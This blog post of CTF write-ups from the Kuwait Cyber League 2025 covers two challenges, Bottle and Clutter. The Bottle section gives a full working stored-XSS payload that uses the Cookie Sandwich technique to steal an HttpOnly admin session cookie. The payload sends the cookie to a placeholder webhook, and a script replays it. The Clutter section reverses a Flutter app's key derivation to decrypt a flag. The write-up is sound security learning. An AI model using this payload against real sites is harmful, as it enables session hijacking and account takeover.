m7eesn blog

Kuwait Cyber League CTF (2025)

My team and I participated in the Kuwait Cyber League CTF held on October 18, 2025. The competition featured a variety of challenges across multiple categories, We unfortunately, did not secure the first place, however we managed to place 2nd overall, due to various factors including our main binary exploitation/reverse engineering expert not being able to participate due to personal reasons. We have solved 10 challenges out of the 14 available, which is respectable considering the technical challenges the platform were having.

Bottle - Hard Challenge Writeup

This challenge was particularly interesting and educational as i was not deeply familiar with the Cookie Sandwich technique prior to this CTF. It was a great opportunity to learn about this and understand its practical applications.

Challenge Overview

Challenge Name: Bottle Download link.

Difficulty: Hard.

Challenge Hint: “HttpOnly cookies can’t be read by JavaScript, so they can’t be stolen via XSS, right?”

The challenge presented a Bottle web application with note-taking functionality and an admin bot that visits reported notes. The goal was to steal the admin’s HTTPOnly session cookie and retrieve the flag from /admin/flag.

Initial Analysis

Application Architecture

  1. Web Application - Bottle framework (Python).
  2. Admin Bot - Puppeteer bot that authenticates as admin and visits reported notes
  3. Key Endpoints:
    • /note/add-note - Create notes with user content.
    • /note/<id> - View note preview.
    • /admin/flag - Protected endpoint requiring admin authentication.
    • /bot - Report notes to admin bot.
    • /set-lang/<lang> - Set language cookie.
    • /about - About page.

Security Features Identified

# Custom cookie implementation (app.py lines 100-147)
def set_custom_cookie(response_obj, name, value, signed=False, **kwargs):
    # NO ESCAPING of cookie values!
    cookie_parts = [f"{name}={value}"]
    # ... builds Set-Cookie header directly
# Session cookies set with HttpOnly flag (app.py line 202)
set_custom_cookie(response, 'session', session_id, signed=True, httponly=True, path='/')
# IP-based access control (app.py lines 305-306)
real_ip = request.remote_addr
if real_ip == '127.0.0.1' or real_ip == '::1' or real_ip.startswith('127.'):
    return "Access denied from localhost."

Vulnerabilities Found

  1. XSS Vulnerability - note_preview.tpl line 23:
<div class="note-preview">
{% raw %}
    {{!note['content']}}  <!-- Unescaped rendering! -->
{% endraw %}
</div>
  1. Cookie Reflection - Multiple templates render lang cookie:
<html lang="{{lang}}">  <!-- Lang cookie reflected in HTML -->
  1. Custom Cookie Implementation - No value escaping in set_custom_cookie()

The admin’s session cookie was set with the HttpOnly flag, which prevents JavaScript from accessing it via document.cookie. Traditional XSS attacks cannot steal HTTPOnly cookies directly.

Bot Configuration (bot.js):

APPURL: process.env['APPURL'] || "http://127.0.0.1:8081"

The bot always visits from 127.0.0.1, triggering the IP restriction on /admin/flag:

"Access denied from localhost."

Research Phase

Initial Attempts (Failed)

  1. Direct fetch() to /admin/flag - HTTPOnly cookies sent automatically, but IP check blocked access
  2. X-Forwarded-For manipulation - RemoveProxyHeadersMiddleware stripped all proxy headers
  3. Basic Cookie Sandwich - Bottle’s cookie parser properly handled standard cookie formats

Key Research Sources

After hitting roadblocks, we researched the Cookie Sandwich technique more deeply:

  1. PortSwigger Research: Stealing HttpOnly cookies via legacy cookie parsing

    • Introduced the concept of cookie parsing discrepancies
    • Explained how $Version cookie triggers RFC2109 parsing mode
  2. Medium Article: Cookie Sandwich Technique Writeup

    • Provided practical exploitation examples
    • Demonstrated cookie ordering with path manipulation
    • Showed how quoted cookie values can capture subsequent cookies

The attack exploits differences between:

Key Concepts:

  1. $Version Cookie - Switches server to RFC2109 parsing mode
  2. Quoted Cookie Values - RFC2109 allows quoted values that can contain semicolons
  3. Cookie Ordering - Browsers send cookies ordered by path specificity (most specific first)
  4. Cookie Reflection - Need an endpoint that reflects cookie values in readable form

Exploitation

We tested Bottle’s cookie parsing behavior:

# Test cases
'lang=test; session=secret'              # Parses correctly
'lang="test; session=secret'             # Returns None (malformed)
'lang="test"; session=secret'            # Parses correctly

The key insight: Bottle supports RFC2109 quoted cookie values when $Version is present!

The attack creates a “sandwich” of cookies where the HTTPOnly session cookie gets trapped inside a quoted cookie value:

// Step 1: Set $Version=1 for RFC2109 mode
document.cookie = '$Version=1; domain=' + location.hostname + '; path=/about;';

// Step 2: Set lang with opening quote (more specific path)
document.cookie = 'lang="capture; domain=' + location.hostname + '; path=/about;';

// Step 3: Set dummy with closing quote (less specific path)
document.cookie = 'dummy=end"; domain=' + location.hostname + '; path=/;';

Cookie Ordering: Browsers send cookies with more specific paths first:

  1. Cookies with path=/about are sent first
  2. Cookies with path=/ are sent last

Resulting Cookie Header:

Cookie: $Version=1; lang="capture; session=HTTPONLY_VALUE|timestamp|sig; dummy=end"

When the server calls request.get_cookie('lang') with RFC2109 parsing enabled:

This value gets reflected in the HTML template:

<html lang="capture; session=2cd248da60bad57e26a4c8b85d836a6c|1760797849|_sJnFluwi3S1EVnMqBcP1ifSlHtkH1tREJ4E4ppexeI; dummy=end">

JavaScript can now read this from the DOM

Step 4: Session Extraction

// Fetch page with reflected cookie
let r = await fetch('/about', {credentials:'include'});
let html = await r.text();

// Extract lang attribute containing the session cookie
let match = html.match(/<html lang="([^"]*)"/);
let langValue = match ? match[1] : '';

// Parse out the session cookie
let sessionMatch = langValue.match(/session=([^;]+)/);
let sessionCookie = sessionMatch ? sessionMatch[1] : null;

Webhook Result:

{
  "stolen_session": "2cd248da60bad57e26a4c8b85d836a6c|1760797849|_sJnFluwi3S1EVnMqBcP1ifSlHtkH1tREJ4E4ppexeI",
  "full_lang_value": "capture; session=2cd248da60bad57e26a4c8b85d836a6c|1760797849|_sJnFluwi3S1EVnMqBcP1ifSlHtkH1tREJ4E4ppexeI; lang=en; dummy=end"
}

Step 5: Bypassing IP Restriction

With the stolen admin session cookie, we can now authenticate from our own IP (not localhost):

import requests

BASE_URL = "http://your-challenge.url"
stolen_session = "2cd248da60bad57e26a4c8b85d836a6c|1760797849|_sJnFluwi3S1EVnMqBcP1ifSlHtkH1tREJ4E4ppexeI"

s = requests.Session()
s.cookies.set('session', stolen_session)

response = s.get(f"{BASE_URL}/admin/flag")

Result:

Status Code: 200
Flag{QCFAMmFEaHhWYW95SmR5TFlncjhKY2RxMTJ3STNYUmkva1hOL1ovd2d4YVZnemNESjJBSDd3NFFlR09hTHVIYzdXNENYMm9kNllIYzE5V2FsMEc4a21Ra1E9PWRhNDgxOTQ1ZWU1MDg1ZWM=}

Complete Exploit Chain

XSS Payload

<script>
(async()=>{
    try{
        // Cookie Sandwich Attack
        document.cookie = '$Version=1; domain=' + location.hostname + '; path=/about;';
        document.cookie = 'lang="capture; domain=' + location.hostname + '; path=/about;';
        document.cookie = 'dummy=end"; domain=' + location.hostname + '; path=/;';
        
        await new Promise(r=>setTimeout(r, 400));
        
        // Reflect cookies via /about page
        let r = await fetch('/about', {credentials:'include'});
        let html = await r.text();
        let match = html.match(/<html lang="([^"]*)"/);
        let langValue = match ? match[1] : '';
        
        // Extract and exfiltrate session
        let sessionMatch = langValue.match(/session=([^;]+)/);
        let sessionCookie = sessionMatch ? sessionMatch[1] : null;
        
        await fetch('WEBHOOK_URL',{
            method:'POST',
            headers:{'Content-Type':'application/json'},
            body:JSON.stringify({ stolen_session: sessionCookie, full_lang_value: langValue })
        });
    }catch(e){
        await fetch('WEBHOOK_URL',{
            method:'POST',
            headers:{'Content-Type':'application/json'},
            body:JSON.stringify({ error: e.toString() })
        });
    }
})();
</script>

Exploitation Steps

  1. Login as regular user
  2. Create note with XSS payload
  3. Report note to admin bot
  4. Bot executes XSS, performs Cookie Sandwich attack
  5. Receive stolen session cookie via webhook
  6. Use stolen session from our IP to access /admin/flag
  7. Retrieve flag!

Conclusion

This challenge demonstrated that HTTPOnly cookies are NOT immune to theft when:

The Cookie Sandwich technique is a sophisticated attack that exploits subtle differences between how browsers send cookies and how servers parse them. It serves as a reminder that defense-in-depth is essential - relying solely on HTTPOnly flags is insufficient when other vulnerabilities exist.

References

  1. PortSwigger Research
  2. Medium Article by 0verlo0ked
  3. RFC 2109 - HTTP State Management Mechanism

Clutter Mobile Security Challenge - Hard

Sadly due to time constraints I was not able to complete this challenge during the CTF, however I managed to solve it later on my own time. Below is the writeup for this challenge.

Challenge Overview

This challenge ships an Android Flutter application (Clutter) together with an encrypted flag that was base64‑encoded after encryption. Our goal is to reverse the app, understand how it derives its encryption keys, and reproduce the exact process offline to recover the plaintext flag. download link

Key takeaways:

Once we mirror that logic, decrypting the provided ciphertext recovers the flag.

Tooling

Stage 1 - Code Reconnaissance

  1. By Inspecting decompiled.flutter/asm/clutter/secret.dart we notes the following:
    • Secret.encrypt grabs the first 64 characters of the 10 000-round SHA-256 digest as the AES key and the first 32 characters for the IV.
    • It passes those substrings to Encrypted.fromUtf8, meaning the encrypt library interprets them as UTF-8 bytes, not hex.
  2. Secret.getSecret loops 10 000 times:
    s_0 = seed
    s_{i+1} = sha256(s_i.encode()).hexdigest()
    
    returning the final hex string.
  3. _EncryptionPageState::_encryptMessage forwards only the verified TOTP code into Secret.encrypt; the user’s message is supplied separately as plaintext input.

Stage 2 - Rebuilding the TOTP Derivation

From decompiled.flutter/asm/clutter/main.dart, focusing on _TOTPVerificationPageState::_verifyTOTP:

  1. The page controller initially holds a fixed string. When verification starts:
    • Parse the string using DateTime.parse.
    • Call initializeTimeZones and getLocation to load America/Los_Angeles.
    • Build a TZDateTime in that zone, then fetch millisecondsSinceEpoch.
    • Call OTP.generateTOTPCodeString(milliseconds, secret, ...).
  2. The object pool (pp.txt) reveals the constants:
    • Timestamp literal: "1999-10-20T09:00:00Z".
    • Base32 secret: "ORUGS427NFZV63TPORPXI2DFL5TGYYLHL52XO5K7".
  3. Inspecting otp/otp.dart shows the app uses HMAC-SHA256 (Instance__Sha256) with a 30-second step and produces 6 digits.

Therefore the seed fed into Secret.getSecret is the string 213947 generated from that timestamp.

Reproducing it in Python:

import base64, hashlib, hmac, struct, datetime, pytz

secret_b32 = 'ORUGS427NFZV63TPORPXI2DFL5TGYYLHL52XO5K7'
key = base64.b32decode(secret_b32, casefold=True)

instant = datetime.datetime.fromisoformat('1999-10-20T09:00:00+00:00')
la = pytz.timezone('America/Los_Angeles')
local_instant = instant.astimezone(la)

counter = int(local_instant.timestamp()) // 30  # seconds / 30
msg = struct.pack('>Q', counter)

digest = hmac.new(key, msg, hashlib.sha256).digest()
offset = digest[-1] & 0x0F
code = (struct.unpack('>I', digest[offset:offset+4])[0] & 0x7FFFFFFF) % (10 ** 6)

print(f"Based on the TOTP derivation, the seed is: {code:06d}")
assert f"{code:06d}" == "213947"

Stage 3 - Deriving the AES Key/IV and Decrypting

  1. Start from seed "213947".
  2. Loop 10 000 times: s = sha256(s.encode()).hexdigest(). After the final iteration:
    cd270ea25a26fdbb468afda746fda5e3798810f52e7d278bd5488892058df950
    
  3. The encrypt package uses the ASCII bytes of the substrings:
    • Key = first 32 characters → cd270ea25a26fdbb468afda746fda5e3 (32 ASCII bytes → 256 bits).
    • IV = first 16 characters → "cd270ea25a26fdbb" (16 ASCII bytes → 128 bits).
  4. Decrypt the base64-decoded ciphertext with AES-CBC/PKCS7.

Solver Script

#!/usr/bin/env python3

import base64
import datetime
import hashlib
import hmac
import struct

import pytz
from cryptography.hazmat.primitives.ciphers import Cipher, algorithms, modes
from cryptography.hazmat.primitives import padding


def generate_totp(timestamp: str, secret_b32: str) -> str:
    key = base64.b32decode(secret_b32, casefold=True)
    instant = datetime.datetime.fromisoformat(timestamp.replace("Z", "+00:00"))
    la = pytz.timezone("America/Los_Angeles")
    counter = int(instant.astimezone(la).timestamp()) // 30
    msg = struct.pack(">Q", counter)

    digest = hmac.new(key, msg, hashlib.sha256).digest()
    offset = digest[-1] & 0x0F
    code = (struct.unpack(">I", digest[offset:offset + 4])[0] & 0x7FFFFFFF) % (10 ** 6)
    return f"{code:06d}"


def derive_digest(seed: str, rounds: int = 10_000) -> str:
    s = seed
    for _ in range(rounds):
        s = hashlib.sha256(s.encode()).hexdigest()
    return s


def decrypt_flag(cipher_b64: str) -> bytes:
    timestamp = "1999-10-20T09:00:00Z"
    secret_b32 = "ORUGS427NFZV63TPORPXI2DFL5TGYYLHL52XO5K7"

    otp = generate_totp(timestamp, secret_b32)
    digest = derive_digest(otp)

    key = digest[:32].encode()  # ASCII, not hex → 256-bit key
    iv = digest[:16].encode()   # ASCII → 128-bit IV

    cipher = Cipher(algorithms.AES(key), modes.CBC(iv))
    decryptor = cipher.decryptor()
    padded = decryptor.update(base64.b64decode(cipher_b64)) + decryptor.finalize()

    unpadder = padding.PKCS7(128).unpadder()
    plaintext = unpadder.update(padded) + unpadder.finalize()
    return plaintext


with open("encrypted.flag.txt", "r", encoding="utf-8") as f:
    ciphertext_b64 = f.read().strip()
    print(f"The flag is:\n{decrypt_flag(ciphertext_b64).decode()}")

Running the script:

$ python solver.py
The flag is:
flag{clu773r_blu773r_wh47_d035_7h47_3v3n_m34n????}

This concludes the writeup for the Bottle web challenge and the Clutter mobile security challenge from the Kuwait Cyber League CTF 2025. The other challenges were easy enough that I did not document them in detail. Overall, it was a fun and educational experience! If there is a demand, I may write up the other challenges later.